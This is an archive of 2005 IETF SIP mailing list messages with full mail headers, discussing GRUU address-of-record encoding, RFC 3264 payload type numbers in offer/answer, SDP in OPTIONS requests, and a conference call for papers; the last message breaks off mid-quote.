mira-sjc5-d.cisco.com (MOS 3.4.6-GR) with ESMTP id AHZ56231; Wed, 23 Feb 2005 21:17:28 -0800 (PST) Message-ID: <421D6367.8050703@cisco.com> Date: Thu, 24 Feb 2005 00:17:27 -0500 From: Jonathan Rosenberg User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7.3) Gecko/20040910 X-Accept-Language: en-us, en MIME-Version: 1.0 To: sip@ietf.org Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Scan-Signature: 39bd8f8cbb76cae18b7e23f7cf6b2b9f Content-Transfer-Encoding: 7bit Subject: [Sip] a middle ground approach for knowing AOR of a gruu X-BeenThere: sip@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Session Initiation Protocol List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: sip-bounces@ietf.org Errors-To: sip-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 9ed51c9d1356100bce94f1ae4ec616a9 Content-Transfer-Encoding: 7bit We had a long discussion in another thread about whether or not we had an additional requirement to allow the recipient of a GRUU to be able to determine the AOR associated with that gruu. This seemed to be an issue for systems that generate call logs or bills, since you'll have these entries that are meaningless. Though I didnt make any changes to gruu in order to meet this requirement, there may be a simple approach that we can provide that fits with the current gruu mechanism. The spec is clear that there are no constraints on how a domain constructs a gruu. The appendix includes a few sample algorithms (though I'll note one of them is broken...). As such, there is nothing wrong with a domain constructing a gruu by including the instance ID and AOR in the clear in the user part of the URI: sip:jdrosen.instance.00sd8ggdgdasd===asd9@cisco.com for example. Thus, we could list such a technique as a viable approach, and recommend that a particular means of encoding the URI be used in order to allow other entities to extract the aor. Thus, we would have a way for the recipient of a domain to get a hint about the possible AOR (no guarantee though), without changing the mechanism at all. Would that represent a reasonable compromise? Thanks, Jonathan R. -- Jonathan D. Rosenberg, Ph.D. 600 Lanidex Plaza Director, Service Provider VoIP Architecture Parsippany, NJ 07054-2711 Cisco Systems jdrosen@cisco.com FAX: (973) 952-5050 http://www.jdrosen.net PHONE: (973) 952-5000 http://www.cisco.com _______________________________________________ Sip mailing list https://www1.ietf.org/mailman/listinfo/sip This list is for NEW development of the core SIP Protocol Use sip-implementors@cs.columbia.edu for questions on current sip Use sipping@ietf.org for new developments on the application of sip From sip-bounces@ietf.org Thu Feb 24 02:29:00 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA10200 for ; Thu, 24 Feb 2005 02:29:00 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D4Dnb-00054r-15 for sip-web-archive@ietf.org; Thu, 24 Feb 2005 02:52:39 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D4DO6-0006ua-7P; Thu, 24 Feb 2005 02:26:18 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D4DNt-0006gg-Sx for sip@megatron.ietf.org; Thu, 24 Feb 2005 02:26:06 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA09324 for ; Thu, 24 Feb 2005 02:26:03 -0500 (EST) Received: from nms.above.net.tw ([202.5.224.161]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D4Dkg-0004xn-D9 for sip@ietf.org; Thu, 24 Feb 2005 02:49:41 -0500 Received: from mail.above.net.tw (localhost [127.0.0.1]) by nms.above.net.tw (Postfix) with ESMTP id 70120210EE; Thu, 24 Feb 2005 15:25:52 +0800 (CST) From: "kkuei" To: Jonathan Rosenberg , sip@ietf.org Date: Thu, 24 Feb 2005 15:25:52 +0800 Message-Id: <20050224072143.M54534@above.net.tw> In-Reply-To: <421D6367.8050703@cisco.com> References: <421D6367.8050703@cisco.com> X-Mailer: Open WebMail 2.41 20040926 X-OriginatingIP: 202.5.224.98 (kkuei) MIME-Version: 1.0 Content-Type: text/plain; charset=big5 X-Spam-Score: 0.0 (/) X-Scan-Signature: 0ddefe323dd869ab027dbfff7eff0465 Subject: [Sip] rfc3264 question X-BeenThere: sip@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Session Initiation Protocol List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: sip-bounces@ietf.org Errors-To: sip-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 82c9bddb247d9ba4471160a9a865a5f3 I'm reading rfc3264 (offer/answer model with SDP). May I ask you a question about that? in 5.1, it says: For sendrecv RTP streams, the payload type numbers indicate the value of the payload type field the offerer expects to receive, and would prefer to send. However, for sendonly and sendrecv streams, the answer might indicate different payload type numbers for the same codecs, in which case, the offerer MUST send with the payload type numbers from the answer. in 6.1, it says: In the case of RTP, if a particular codec was referenced with a specific payload type number in the offer, that same payload type number SHOULD be used for that codec in the answer. Even if the same payload type number is used, the answer MUST contain rtpmap attributes to define the payload type mappings for dynamic payload types, and SHOULD contain mappings for static payload types. The media formats in the "m=" line MUST be listed in order of preference, with the first format listed being preferred. In this case, preferred means that the offerer SHOULD use the format with the highest preference from the answer. My question is, the payload type number in answer may be different than in offer. Here is the case: 1. Offer PCM-WB: 98 ISAC: 101 iLBC: 102 2. Answer iLBC: 98 This means both parties agreed to use iLBC. My question is , what payload type number should be use in constructing RTP pkts (in both direction). In sec5.1, it says offerer MUST respect the answer. It MUST put "98" in payload type number in RTP (offerer->answerer). But what about in answerer ?? should it respect the offer? which payload type number (102 or 98) it should put in RTP (answerer->offerer)?? I tried to read the rfc3264 for several times.. but still not quite clear. Do u have any idea about that? -- Kevin Kuei _______________________________________________ Sip mailing list https://www1.ietf.org/mailman/listinfo/sip This list is for NEW development of the core SIP Protocol Use sip-implementors@cs.columbia.edu for questions on current sip Use sipping@ietf.org for new developments on the application of sip From sip-bounces@ietf.org Thu Feb 24 03:04:34 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA14201 for ; Thu, 24 Feb 2005 03:04:34 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D4EM1-0005wM-R8 for sip-web-archive@ietf.org; Thu, 24 Feb 2005 03:28:14 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D4Dxy-0006rc-Op; Thu, 24 Feb 2005 03:03:22 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D4Dxp-0006id-21 for sip@megatron.ietf.org; Thu, 24 Feb 2005 03:03:14 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA13943 for ; Thu, 24 Feb 2005 03:03:08 -0500 (EST) Received: from [202.54.117.17] (helo=vmail.vsnl.com) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D4EKd-0005ss-7J for sip@ietf.org; Thu, 24 Feb 2005 03:26:47 -0500 Received: from rajeewsingh ([127.0.0.1]) by vmail.vsnl.com (iPlanet Messaging Server 5.2 HotFix 1.16 (built May 14 2003)) with SMTP id <0ICE00M5UP0SD9@vmail.vsnl.com> for sip@ietf.org; Thu, 24 Feb 2005 13:32:53 +0530 (IST) Received: from ([tataelxsi.co.in (203.197.169.100)]) by vmail.vsnl.com (InterScan E-Mail VirusWall Unix); Thu, 24 Feb 2005 13:32:53 +0530 (IST) Date: Thu, 24 Feb 2005 13:33:28 +0530 From: Rajeew Kumar Singh Subject: RE: [Sip] rfc3264 question In-reply-to: <20050224072143.M54534@above.net.tw> To: "'kkuei'" Message-id: <002101c51a47$53ba36c0$2a46010a@telxsi.com> MIME-version: 1.0 X-MIMEOLE: Produced By Microsoft MimeOLE V5.50.4927.1200 X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2910.0) Content-type: text/plain; charset=big5 Content-transfer-encoding: 7BIT Importance: Normal X-Priority: 3 (Normal) X-MSMail-priority: Normal X-Spam-Score: 0.0 (/) X-Scan-Signature: 3a4bc66230659131057bb68ed51598f8 Content-Transfer-Encoding: 7BIT Cc: sip@ietf.org X-BeenThere: sip@ietf.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: rajeewsingh@tataelxsi.co.in List-Id: Session Initiation Protocol List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: sip-bounces@ietf.org Errors-To: sip-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 2086112c730e13d5955355df27e3074b Content-Transfer-Encoding: 7BIT Hi, Here is my understanding on your offer-answer scenerio Let us suppose two UA having said capabilities UA-A PT PCM-WB: 98 ISAC: 101 iLBC: 102 UA-B PT iLBC: 98 Note : All PT falls under dynamic payload range Two possible cases for offer-answer Case1: If offer is from UA-A to UA-B A---------------Offer1-----------------> B A <------------Answer1--------------B Offer1: PCM-WB: 98 ISAC: 101 iLBC: 102 Then Answer1 will be iLBC: 102 Here UA-B will change the dynamic paylod type for iLBC to 102 from 98 and use this in RTP packets. Both UA-A and UA-B will use PT 102 in RTP Packets Case2: If the offer is from UA-B to UA-A A<-------------------------Offer2------------------B A-------------------------Answer2--------------->B Offer2: iLBC: 98 Then answer2 will be iLBC: 98 Here UA-A will change the dynamic payload type for iLBC to 98 from 102 and will use this PT 98 in RTP packets. Both UA will use PT 98 in RTP Packets. Hope it will help you. Regards Rajeew Kumar Singh -----Original Message----- From: sip-bounces@ietf.org [mailto:sip-bounces@ietf.org]On Behalf Of kkuei Sent: Thursday, February 24, 2005 12:56 PM To: Jonathan Rosenberg; sip@ietf.org Subject: [Sip] rfc3264 question I'm reading rfc3264 (offer/answer model with SDP). May I ask you a question about that? in 5.1, it says: For sendrecv RTP streams, the payload type numbers indicate the value of the payload type field the offerer expects to receive, and would prefer to send. However, for sendonly and sendrecv streams, the answer might indicate different payload type numbers for the same codecs, in which case, the offerer MUST send with the payload type numbers from the answer. in 6.1, it says: In the case of RTP, if a particular codec was referenced with a specific payload type number in the offer, that same payload type number SHOULD be used for that codec in the answer. Even if the same payload type number is used, the answer MUST contain rtpmap attributes to define the payload type mappings for dynamic payload types, and SHOULD contain mappings for static payload types. The media formats in the "m=" line MUST be listed in order of preference, with the first format listed being preferred. In this case, preferred means that the offerer SHOULD use the format with the highest preference from the answer. My question is, the payload type number in answer may be different than in offer. Here is the case: 1. Offer PCM-WB: 98 ISAC: 101 iLBC: 102 2. Answer iLBC: 98 This means both parties agreed to use iLBC. My question is , what payload type number should be use in constructing RTP pkts (in both direction). In sec5.1, it says offerer MUST respect the answer. It MUST put "98" in payload type number in RTP (offerer->answerer). But what about in answerer ?? should it respect the offer? which payload type number (102 or 98) it should put in RTP (answerer->offerer)?? I tried to read the rfc3264 for several times.. but still not quite clear. Do u have any idea about that? -- Kevin Kuei _______________________________________________ Sip mailing list https://www1.ietf.org/mailman/listinfo/sip This list is for NEW development of the core SIP Protocol Use sip-implementors@cs.columbia.edu for questions on current sip Use sipping@ietf.org for new developments on the application of sip _______________________________________________ Sip mailing list https://www1.ietf.org/mailman/listinfo/sip This list is for NEW development of the core SIP Protocol Use sip-implementors@cs.columbia.edu for questions on current sip Use sipping@ietf.org for new developments on the application of sip From sip-bounces@ietf.org Thu Feb 24 06:19:36 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA02463 for ; Thu, 24 Feb 2005 06:19:36 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D4HOo-00024K-0B for sip-web-archive@ietf.org; Thu, 24 Feb 2005 06:43:18 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D4H0D-0004rY-4h; Thu, 24 Feb 2005 06:17:53 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D4H07-0004mq-LX for sip@megatron.ietf.org; Thu, 24 Feb 2005 06:17:47 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA02265 for ; Thu, 24 Feb 2005 06:17:44 -0500 (EST) Received: from smtp12.clb.oleane.net ([213.56.31.47]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D4HN0-00020l-Dx for sip@ietf.org; Thu, 24 Feb 2005 06:41:26 -0500 Received: from Pavillonquatre (upperside.rain.fr [194.206.151.59] (may be forged)) by smtp12.clb.oleane.net with ESMTP id j1OBHWDi008136 for ; Thu, 24 Feb 2005 12:17:37 +0100 Message-Id: <200502241117.j1OBHWDi008136@smtp12.clb.oleane.net> From: "gunther" To: Date: Thu, 24 Feb 2005 12:17:29 +0100 MIME-Version: 1.0 X-Mailer: Microsoft Office Outlook, Build 11.0.5510 Thread-Index: AcUaYm1PZXlVHsY6Tau4GCNjV4ih/g== X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2180 X-Spam-Score: 0.1 (/) X-Scan-Signature: 6640e3bbe8a4d70c4469bcdcbbf0921d Subject: [Sip] Wireless/WiFi Convergence - Paris - France X-BeenThere: sip@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Session Initiation Protocol List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Content-Type: multipart/mixed; boundary="===============0788614701==" Sender: sip-bounces@ietf.org Errors-To: sip-bounces@ietf.org X-Spam-Score: 0.2 (/) X-Scan-Signature: 2e8fc473f5174be667965460bd5288ba This is a multi-part message in MIME format. --===============0788614701== Content-Type: multipart/alternative; boundary="----=_NextPart_000_004F_01C51A6A.CF69A530" This is a multi-part message in MIME format. ------=_NextPart_000_004F_01C51A6A.CF69A530 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit The Wireless/WiFi Convergence conference will stand in Paris on November 29 to December 2, 2005. A call for papers has been launched, effective until April 15, 2005. The proposals submitted will be examined by a scientific committee. Get more details at: http://www.upperside.fr/wirelessconvergence2005/wwconvergence2005intro.htm ------=_NextPart_000_004F_01C51A6A.CF69A530 Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable

The Wireless/WiFi = Convergence conference will stand in Paris on November 29 to December 2, 2005.
A call for papers has been launched, effective until April 15, = 2005. The proposals submitted will be examined by a scientific committee. =

 

Get more details = at:

http://www.upperside.fr/wirelessconvergence2005/wwconvergenc= e2005intro.htm

 

------=_NextPart_000_004F_01C51A6A.CF69A530-- --===============0788614701== Content-Type: text/plain; charset="us-ascii" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Disposition: inline Content-Transfer-Encoding: 7bit _______________________________________________ Sip mailing list https://www1.ietf.org/mailman/listinfo/sip This list is for NEW development of the core SIP Protocol Use sip-implementors@cs.columbia.edu for questions on current sip Use sipping@ietf.org for new developments on the application of sip --===============0788614701==-- From sip-bounces@ietf.org Thu Feb 24 08:23:43 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA16906 for ; Thu, 24 Feb 2005 08:23:43 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D4JKv-0005Rr-5h for sip-web-archive@ietf.org; Thu, 24 Feb 2005 08:47:25 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D4Iug-0003gL-4l; Thu, 24 Feb 2005 08:20:18 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D4Iue-0003gB-OH for sip@megatron.ietf.org; Thu, 24 Feb 2005 08:20:16 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA15913 for ; Thu, 24 Feb 2005 08:20:15 -0500 (EST) Received: from h66-59-156-141.gtconnect.net ([66.59.156.141] helo=mail.icescape.com) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D4JHY-0005Fp-Pa for sip@ietf.org; Thu, 24 Feb 2005 08:43:57 -0500 Received: from cr407220a ([24.112.92.243]) by mail.icescape.com with Microsoft SMTPSVC(6.0.3790.211); Thu, 24 Feb 2005 08:20:14 -0500 From: "Scott Godin" To: "'Peter Hedman \(LD/EAB\)'" , Subject: RE: [SIP] SDP in OPTIONS Date: Thu, 24 Feb 2005 08:20:05 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Mailer: Microsoft Office Outlook, Build 11.0.5510 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2527 Thread-Index: AcUaNdUOQQb8dPhgTrKfCvTdHUvGvgAPXZ3A In-Reply-To: Message-ID: X-OriginalArrivalTime: 24 Feb 2005 13:20:14.0515 (UTC) FILETIME=[93529030:01C51A73] X-Spam-Score: 0.1 (/) X-Scan-Signature: 9ed51c9d1356100bce94f1ae4ec616a9 Content-Transfer-Encoding: 7bit X-BeenThere: sip@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Session Initiation Protocol List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: sip-bounces@ietf.org Errors-To: sip-bounces@ietf.org X-Spam-Score: 0.1 (/) X-Scan-Signature: 50a516d93fd399dc60588708fd9a3002 Content-Transfer-Encoding: 7bit My understanding is that if an SDP if provided in the OPTIONS request the SDP in the 200 response should be the same as it would be if the UA was responding to an INVITE request - of course the SDP exchange should not be acted on - it is only used for capability discovery. Scott -----Original Message----- From: sip-bounces@ietf.org [mailto:sip-bounces@ietf.org] On Behalf Of Peter Hedman (LD/EAB) Sent: Wednesday, February 23, 2005 6:51 AM To: sip@ietf.org Subject: [SIP] SDP in OPTIONS Hi, 3GPP are discussing capability exchange using SIP OPTIONS. Specifically, to be able to optimise an exchange by including UAC capabilities within the OPTIONS request, for information to those UAS that understand it. The current understanding is that a UAS following RFC 3261 would simply ignore the SDP in the OPTIONS request and normal operations take place. Also, even if the UAS would read the SDP in an OPTIONS request, the SDP in the response would also be a capability document that will not in any way follow the offer/answer model. It would be great to get the groups opinion on the above assumptions. BR, Peter Ericsson AB Phone: +46 46 231760 Mobile: +46 703602149 Mail: peter.hedman@ericsson.com _______________________________________________ Sip mailing list https://www1.ietf.org/mailman/listinfo/sip This list is for NEW development of the core SIP Protocol Use sip-implementors@cs.columbia.edu for questions on current sip Use sipping@ietf.org for new developments on the application of sip _______________________________________________ Sip mailing list https://www1.ietf.org/mailman/listinfo/sip This list is for NEW development of the core SIP Protocol Use sip-implementors@cs.columbia.edu for questions on current sip Use sipping@ietf.org for new developments on the application of sip From sip-bounces@ietf.org Thu Feb 24 08:47:30 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA19038 for ; Thu, 24 Feb 2005 08:47:30 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D4Jhw-0005xw-RU for sip-web-archive@ietf.org; Thu, 24 Feb 2005 09:11:13 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D4JHa-0002ls-4O; Thu, 24 Feb 2005 08:43:58 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D4JHY-0002i5-31 for sip@megatron.ietf.org; Thu, 24 Feb 2005 08:43:56 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA18635 for ; Thu, 24 Feb 2005 08:43:54 -0500 (EST) Received: from opus.cs.columbia.edu ([128.59.20.100]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D4JeR-0005tD-C0 for sip@ietf.org; Thu, 24 Feb 2005 09:07:36 -0500 Received: from [127.0.0.1] (IDENT:U2FsdGVkX1/vCtXP42KQBoQRqzAHpMN7dg6kvdf3phI@razor.cs.columbia.edu [128.59.16.8]) (authenticated bits=0) by opus.cs.columbia.edu (8.12.10/8.12.10) with ESMTP id j1ODhgh3007334 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT); Thu, 24 Feb 2005 08:43:43 -0500 (EST) Message-ID: <421DDA22.8050006@cs.columbia.edu> Date: Thu, 24 Feb 2005 08:44:02 -0500 From: Henning Schulzrinne Organization: Columbia University User-Agent: Mozilla Thunderbird 1.0 (Windows/20041206) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Jonathan Rosenberg Subject: Re: [Sip] a middle ground approach for knowing AOR of a gruu References: <421D6367.8050703@cisco.com> In-Reply-To: <421D6367.8050703@cisco.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-PerlMx-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Spam-Score: 0.0 (/) X-Scan-Signature: 21c69d3cfc2dd19218717dbe1d974352 Content-Transfer-Encoding: 7bit Cc: sip@ietf.org X-BeenThere: sip@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Session Initiation Protocol List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: sip-bounces@ietf.org Errors-To: sip-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 0ddefe323dd869ab027dbfff7eff0465 Content-Transfer-Encoding: 7bit I find this sub-optimal from a general design point of view. I thought we have had a general preference for being explicit about semantics, rather than overloading other elements or mechanisms. (See discussions on INFO and other similar topics.) I think many of the proposed labeling mechanisms would work and supporting at least one, even if somewhat arbitrarily selected, will get us to do the right thing in the majority of cases. This is particularly important since this is not just a local matter, i.e., other parties not familiar with the conventions of the sending side will need to be able to robustly extract this information. Jonathan Rosenberg wrote: > We had a long discussion in another thread about whether or not we had > an additional requirement to allow the recipient of a GRUU to be able to > determine the AOR associated with that gruu. This seemed to be an issue > for systems that generate call logs or bills, since you'll have these > entries that are meaningless. > > Though I didnt make any changes to gruu in order to meet this > requirement, there may be a simple approach that we can provide that > fits with the current gruu mechanism. > > The spec is clear that there are no constraints on how a domain > constructs a gruu. The appendix includes a few sample algorithms (though > I'll note one of them is broken...). As such, there is nothing wrong > with a domain constructing a gruu by including the instance ID and AOR > in the clear in the user part of the URI: > > sip:jdrosen.instance.00sd8ggdgdasd===asd9@cisco.com > > for example. Thus, we could list such a technique as a viable approach, > and recommend that a particular means of encoding the URI be used in > order to allow other entities to extract the aor. > > Thus, we would have a way for the recipient of a domain to get a hint > about the possible AOR (no guarantee though), without changing the > mechanism at all. > > Would that represent a reasonable compromise? > > Thanks, > Jonathan R. _______________________________________________ Sip mailing list https://www1.ietf.org/mailman/listinfo/sip This list is for NEW development of the core SIP Protocol Use sip-implementors@cs.columbia.edu for questions on current sip Use sipping@ietf.org for new developments on the application of sip From sip-bounces@ietf.org Thu Feb 24 10:59:08 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA06537 for ; Thu, 24 Feb 2005 10:59:08 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D4LlM-0001Hv-2M for sip-web-archive@ietf.org; Thu, 24 Feb 2005 11:22:52 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D4LLI-0002l4-6g; Thu, 24 Feb 2005 10:55:56 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D4LLG-0002ks-Gm for sip@megatron.ietf.org; Thu, 24 Feb 2005 10:55:54 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA06075 for ; Thu, 24 Feb 2005 10:55:52 -0500 (EST) Received: from sj-iport-3-in.cisco.com ([171.71.176.72] helo=sj-iport-3.cisco.com) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D4LiA-0001AR-W2 for sip@ietf.org; Thu, 24 Feb 2005 11:19:36 -0500 Received: from sj-core-2.cisco.com (171.71.177.254) by sj-iport-3.cisco.com with ESMTP; 24 Feb 2005 09:10:25 +0000 X-BrightmailFiltered: true X-Brightmail-Tracker: AAAAAA== X-IronPort-AV: i="3.90,114,1107734400"; d="scan'208"; a="228785108:sNHT19498936" Received: from wells.cisco.com (wells.cisco.com [171.71.177.223]) by sj-core-2.cisco.com (8.12.10/8.12.6) with ESMTP id j1OFtcq8004271; Thu, 24 Feb 2005 07:55:39 -0800 (PST) Received: from jmpolk-w2k01.diablo.cisco.com (ssh-sjc-1.cisco.com [171.68.225.134]) by wells.cisco.com (8.8.6 (PHNE_14041)/CISCO.SERVER.1.2) with ESMTP id HAA18339; Thu, 24 Feb 2005 07:55:40 -0800 (PST) Message-Id: <4.3.2.7.2.20050224095346.02650008@localhost> X-Sender: jmpolk@localhost X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Thu, 24 Feb 2005 09:55:49 -0600 To: "Scott Godin" , "'Peter Hedman \(LD/EAB\)'" , From: "James M. Polk" Subject: RE: [SIP] SDP in OPTIONS In-Reply-To: References: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-Spam-Score: 1.1 (+) X-Scan-Signature: 79899194edc4f33a41f49410777972f8 X-BeenThere: sip@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Session Initiation Protocol List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: sip-bounces@ietf.org Errors-To: sip-bounces@ietf.org X-Spam-Score: 1.1 (+) X-Scan-Signature: ffa9dfbbe7cc58b3fa6b8ae3e57b0aa3 At 08:20 AM 2/24/2005 -0500, Scott Godin wrote: >My understanding is that if an SDP if provided in the OPTIONS request the >SDP in the 200 response should be the same as it would be if the UA was >responding to an INVITE request I thought the SDP in the 200 OK could/would include all the session parameters the UAS was willing to reveal (including all the codecs the UAS was willing to communicate with). > - of course the SDP exchange should not be >acted on - it is only used for capability discovery. > >Scott cheers, James ******************* Truth is not to be argued... it is to be presented _______________________________________________ Sip mailing list https://www1.ietf.org/mailman/listinfo/sip This list is for NEW development of the core SIP Protocol Use sip-implementors@cs.columbia.edu for questions on current sip Use sipping@ietf.org for new developments on the application of sip From sip-bounces@ietf.org Thu Feb 24 12:14:40 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA17729 for ; Thu, 24 Feb 2005 12:14:40 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D4MwT-0004AL-DF for sip-web-archive@ietf.org; Thu, 24 Feb 2005 12:38:25 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D4MY5-0003sA-86; Thu, 24 Feb 2005 12:13:13 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D4MY2-0003rO-Tk for sip@megatron.ietf.org; Thu, 24 Feb 2005 12:13:11 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA17563 for ; Thu, 24 Feb 2005 12:13:07 -0500 (EST) Received: from h66-59-156-141.gtconnect.net ([66.59.156.141] helo=server2.computertalktech.com) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D4Muy-00047I-Du for sip@ietf.org; Thu, 24 Feb 2005 12:36:52 -0500 Received: by SERVER2 with Internet Mail Service (5.5.2657.72) id ; Thu, 24 Feb 2005 12:12:54 -0500 Message-ID: <015C32DAF4DED2118B3F00016F02060E0197D1A4@SERVER2> From: Scott Godin To: "'James M. Polk'" , Scott Godin , "'Peter Hedman (LD/EAB)'" , sip@ietf.org Subject: RE: [SIP] SDP in OPTIONS Date: Thu, 24 Feb 2005 12:12:53 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2657.72) Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Scan-Signature: 82c9bddb247d9ba4471160a9a865a5f3 X-BeenThere: sip@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Session Initiation Protocol List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: sip-bounces@ietf.org Errors-To: sip-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 082a9cbf4d599f360ac7f815372a6a15 After re-reading Section 11 of RFC3261 - there doesn't really seem to be any definitive answer to this. The following quotes are what I based my assumptions on: "The response code chosen MUST be the same that would have been chosen had the request been an INVITE. That is, a 200 (OK) would be returned if the UAS is ready to accept 